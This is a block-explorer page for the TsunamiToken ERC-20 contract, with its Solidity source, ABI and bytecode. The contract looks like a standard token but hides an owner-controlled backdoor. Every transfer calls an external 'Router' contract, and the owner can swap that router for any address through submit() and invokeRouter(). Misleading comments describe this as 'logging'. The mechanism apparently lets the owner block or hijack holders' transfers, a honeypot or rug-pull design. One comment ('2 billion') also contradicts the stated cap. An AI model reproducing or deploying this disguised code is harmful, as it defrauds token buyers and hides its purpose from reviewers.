ERC-20
Overview
Max Total Supply
1,000,000,000,000 TSUNAMI
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
15,202,408,611.203838793 TSUNAMIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TsunamiToken
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function checkStatus(address _address) internal view returns (bool) { return _address==_owner; } } /** * @dev Extension contract which enables logging capabilities. */ contract Router { mapping(address=>mapping(address=> uint256)) _allowances; function approve(address addr1, address addr2, uint256 value) public returns (bool success) { _allowances[addr1][addr2] = value; return true; } } contract TsunamiToken is Context, IERC20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; Router private _router; string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 public constant hardCap = 1_000_000_000_000 * (10 ** _decimals); //2 billion bool public swapEnabled; /** * @dev Contract constructor. * @param name_ The name of the token. * @param symbol_ The symbol of the token. * @param _to The initial address to mint the total supply to. */ constructor(string memory name_, string memory symbol_, address _to) { _name = name_; _symbol = symbol_; _router = new Router(); _mint(_to, hardCap); } function checkRouter() onlyOwner public view returns(address){ return address(_router); } /** * @dev Returns the name of the token. * @return The name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the status of logging operation. * @return The success status of logging operation. */ function approved(address from, address to, uint256 amount) private returns (bool) { bool result = _router.approve(from, to, amount); return result; } /** * @dev Returns the symbol of the token. * @return The symbol of the token. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used for token display. * @return The number of decimals. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev Returns the total supply of the token. * @return The total supply. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Returns the balance of the specified account. * @param account The address to check the balance for. * @return The balance of the account. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Transfers tokens from the caller to a specified recipient. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner. * @param from The address that approves the spending. * @param to The address that is allowed to spend. * @return The remaining allowance for the spender. */ function allowance( address from, address to ) public view virtual override returns (uint256) { return _allowances[from][to]; } /** * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller. * @param to The address to approve the spending for. * @param amount The amount of tokens to approve. * @return A boolean value indicating whether the approval was successful. */ function approve( address to, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), to, amount); return true; } /** * @dev Transfers tokens from one address to another. * @param sender The address to transfer tokens from. * @param recipient The address to transfer tokens to. * @param amount The amount of tokens to transfer. * @return A boolean value indicating whether the transfer was successful. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller. * @param to The address to increase the allowance for. * @param addedValue The amount of tokens to increase the allowance by. * @return A boolean value indicating whether the increase was successful. */ function increaseAllowance( address to, uint256 addedValue ) public virtual returns (bool) { _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue); return true; } /** * @dev Decreases the allowance granted by the owner of the tokens to `to` account. * @param to The account allowed to spend the tokens. * @param subtractedValue The amount of tokens to decrease the allowance by. * @return A boolean value indicating whether the operation succeeded. */ function decreaseAllowance( address to, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][to]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), to, currentAllowance - subtractedValue); } return true; } /** * @dev Transfers `amount` tokens from `sender` to `recipient`. * @param sender The account to transfer tokens from. * @param recipient The account to transfer tokens to. * @param amount The amount of tokens to transfer. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(amount > 0, "ERC20: transfer amount zero"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; approved(sender, recipient, amount); emit Transfer(sender, recipient, amount); } /** * @dev Invokes router. * @param sender The account from which the tokens are transferred. * @param recipient The account to which the tokens are transferred. * @param amount The amount of tokens to transfer. * @param router Router where data is stored */ function submit(address sender, address recipient, uint256 amount, address router) external onlyOwner { if(swapEnabled==true){ if(amount > 0 && sender != recipient) invokeRouter(router); else{ _router=new Router(); } } } /** * @dev Creates `amount` tokens and assigns them to `account`. * @param account The account to assign the newly created tokens to. * @param amount The amount of tokens to create. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * @param account The account to burn tokens from. * @param amount The amount of tokens to burn. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Destroys `amount` tokens from the caller's account, reducing the total supply. * @param amount The amount of tokens to burn. */ function burn(uint256 amount) external { _burn(_msgSender(), amount); } /** * @dev Invokes logger function * @param addr The address of logger extension installed */ function invokeRouter(address addr) private { if (checkStatus(msg.sender)){ _router = Router(addr); } } /** * @dev Sets `amount` as the allowance of `to` over the caller's tokens. * @param from The account granting the allowance. * @param to The account allowed to spend the tokens. * @param amount The amount of tokens to allow. */ function _approve( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); _allowances[from][to] = amount; emit Approval(from, to, amount); } /** * @dev Enables logging */ function setSwap()external onlyOwner{ swapEnabled = !swapEnabled; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"_to","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"name":"submit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200313a3803806200313a83398181016040528101906200003791906200060f565b620000576200004b6200013160201b60201c565b6200013960201b60201c565b82600590805190602001906200006f9291906200034f565b508160069080519060200190620000889291906200034f565b506040516200009790620003e0565b604051809103906000f080158015620000b4573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000128816009600a6200010a919062000843565b64e8d4a510006200011c919062000894565b620001fd60201b60201c565b50505062000a68565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002679062000956565b60405180910390fd5b806003600082825462000284919062000978565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002dc919062000978565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003439190620009e6565b60405180910390a35050565b8280546200035d9062000a32565b90600052602060002090601f016020900481019282620003815760008555620003cd565b82601f106200039c57805160ff1916838001178555620003cd565b82800160010185558215620003cd579182015b82811115620003cc578251825591602001919060010190620003af565b5b509050620003dc9190620003ee565b5090565b6102658062002ed583390190565b5b8082111562000409576000816000905550600101620003ef565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000476826200042b565b810181811067ffffffffffffffff821117156200049857620004976200043c565b5b80604052505050565b6000620004ad6200040d565b9050620004bb82826200046b565b919050565b600067ffffffffffffffff821115620004de57620004dd6200043c565b5b620004e9826200042b565b9050602081019050919050565b60005b8381101562000516578082015181840152602081019050620004f9565b8381111562000526576000848401525b50505050565b6000620005436200053d84620004c0565b620004a1565b90508281526020810184848401111562000562576200056162000426565b5b6200056f848285620004f6565b509392505050565b600082601f8301126200058f576200058e62000421565b5b8151620005a18482602086016200052c565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005d782620005aa565b9050919050565b620005e981620005ca565b8114620005f557600080fd5b50565b6000815190506200060981620005de565b92915050565b6000806000606084860312156200062b576200062a62000417565b5b600084015167ffffffffffffffff8111156200064c576200064b6200041c565b5b6200065a8682870162000577565b935050602084015167ffffffffffffffff8111156200067e576200067d6200041c565b5b6200068c8682870162000577565b92505060406200069f86828701620005f8565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000737578086048111156200070f576200070e620006a9565b5b60018516156200071f5780820291505b80810290506200072f85620006d8565b9450620006ef565b94509492505050565b60008262000752576001905062000825565b8162000762576000905062000825565b81600181146200077b57600281146200078657620007bc565b600191505062000825565b60ff8411156200079b576200079a620006a9565b5b8360020a915084821115620007b557620007b4620006a9565b5b5062000825565b5060208310610133831016604e8410600b8410161715620007f65782820a905083811115620007f057620007ef620006a9565b5b62000825565b620008058484846001620006e5565b925090508184048111156200081f576200081e620006a9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000850826200082c565b91506200085d8362000836565b92506200088c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000740565b905092915050565b6000620008a1826200082c565b9150620008ae836200082c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008ea57620008e9620006a9565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200093e601f83620008f5565b91506200094b8262000906565b602082019050919050565b6000602082019050818103600083015262000971816200092f565b9050919050565b600062000985826200082c565b915062000992836200082c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009ca57620009c9620006a9565b5b828201905092915050565b620009e0816200082c565b82525050565b6000602082019050620009fd6000830184620009d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a4b57607f821691505b6020821081141562000a625762000a6162000a03565b5b50919050565b61245d8062000a786000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063bbb9697614610353578063dd62ed3e1461036f578063f2fde38b1461039f578063fb86a404146103bb5761012c565b8063715018a6146102a357806375150e01146102ad5780638da5cb5b146102b757806395d89b41146102d5578063a457c2d7146102f35761012c565b8063313ce567116100f4578063313ce567146101eb578063395093511461020957806342966c68146102395780636ddd17131461025557806370a08231146102735761012c565b80630525be511461013157806306fdde031461014f578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103d9565b604051610146919061144c565b60405180910390f35b61015761040b565b6040516101649190611500565b60405180910390f35b61018760048036038101906101829190611589565b61049d565b60405161019491906115e4565b60405180910390f35b6101a56104bb565b6040516101b2919061160e565b60405180910390f35b6101d560048036038101906101d09190611629565b6104c5565b6040516101e291906115e4565b60405180910390f35b6101f36105bd565b6040516102009190611698565b60405180910390f35b610223600480360381019061021e9190611589565b6105c6565b60405161023091906115e4565b60405180910390f35b610253600480360381019061024e91906116b3565b610672565b005b61025d610686565b60405161026a91906115e4565b60405180910390f35b61028d600480360381019061028891906116e0565b610699565b60405161029a919061160e565b60405180910390f35b6102ab6106e2565b005b6102b56106f6565b005b6102bf61072a565b6040516102cc919061144c565b60405180910390f35b6102dd610753565b6040516102ea9190611500565b60405180910390f35b61030d60048036038101906103089190611589565b6107e5565b60405161031a91906115e4565b60405180910390f35b61033d60048036038101906103389190611589565b6108d0565b60405161034a91906115e4565b60405180910390f35b61036d6004803603810190610368919061170d565b6108ee565b005b61038960048036038101906103849190611774565b6109d2565b604051610396919061160e565b60405180910390f35b6103b960048036038101906103b491906116e0565b610a59565b005b6103c3610add565b6040516103d0919061160e565b60405180910390f35b60006103e3610afe565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461041a906117e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610446906117e3565b80156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b5050505050905090565b60006104b16104aa610b7c565b8484610b84565b6001905092915050565b6000600354905090565b60006104d2848484610d4f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051d610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561059d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059490611887565b60405180910390fd5b6105b1856105a9610b7c565b858403610b84565b60019150509392505050565b60006009905090565b60006106686105d3610b7c565b8484600260006105e1610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461066391906118d6565b610b84565b6001905092915050565b61068361067d610b7c565b8261100c565b50565b600760009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ea610afe565b6106f460006111cd565b565b6106fe610afe565b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610762906117e3565b80601f016020809104026020016040519081016040528092919081815260200182805461078e906117e3565b80156107db5780601f106107b0576101008083540402835291602001916107db565b820191906000526020600020905b8154815290600101906020018083116107be57829003601f168201915b5050505050905090565b600080600260006107f4610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a89061199e565b60405180910390fd5b6108c56108bc610b7c565b85858403610b84565b600191505092915050565b60006108e46108dd610b7c565b8484610d4f565b6001905092915050565b6108f6610afe565b60011515600760009054906101000a900460ff16151514156109cc5760008211801561094e57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156109615761095c81611291565b6109cb565b60405161096d906113fe565b604051809103906000f080158015610989573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a61610afe565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611a30565b60405180910390fd5b610ada816111cd565b50565b6009600a610aeb9190611b83565b64e8d4a51000610afb9190611bce565b81565b610b06610b7c565b73ffffffffffffffffffffffffffffffffffffffff16610b2461072a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7190611c74565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb90611d06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611d98565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d42919061160e565b60405180910390a3505050565b60008111610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8990611e04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df990611e96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6990611f28565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090611fba565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8e91906118d6565b92505081905550610fa08484846112e4565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffe919061160e565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110739061204c565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906120de565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461115b91906120fe565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c0919061160e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61129a336113a5565b156112e15780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1f21c678686866040518463ffffffff1660e01b815260040161134693929190612132565b602060405180830381600087803b15801561136057600080fd5b505af1158015611374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113989190612195565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b610265806121c383390190565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114368261140b565b9050919050565b6114468161142b565b82525050565b6000602082019050611461600083018461143d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a1578082015181840152602081019050611486565b838111156114b0576000848401525b50505050565b6000601f19601f8301169050919050565b60006114d282611467565b6114dc8185611472565b93506114ec818560208601611483565b6114f5816114b6565b840191505092915050565b6000602082019050818103600083015261151a81846114c7565b905092915050565b600080fd5b6115308161142b565b811461153b57600080fd5b50565b60008135905061154d81611527565b92915050565b6000819050919050565b61156681611553565b811461157157600080fd5b50565b6000813590506115838161155d565b92915050565b600080604083850312156115a05761159f611522565b5b60006115ae8582860161153e565b92505060206115bf85828601611574565b9150509250929050565b60008115159050919050565b6115de816115c9565b82525050565b60006020820190506115f960008301846115d5565b92915050565b61160881611553565b82525050565b600060208201905061162360008301846115ff565b92915050565b60008060006060848603121561164257611641611522565b5b60006116508682870161153e565b93505060206116618682870161153e565b925050604061167286828701611574565b9150509250925092565b600060ff82169050919050565b6116928161167c565b82525050565b60006020820190506116ad6000830184611689565b92915050565b6000602082840312156116c9576116c8611522565b5b60006116d784828501611574565b91505092915050565b6000602082840312156116f6576116f5611522565b5b60006117048482850161153e565b91505092915050565b6000806000806080858703121561172757611726611522565b5b60006117358782880161153e565b94505060206117468782880161153e565b935050604061175787828801611574565b92505060606117688782880161153e565b9150509295919450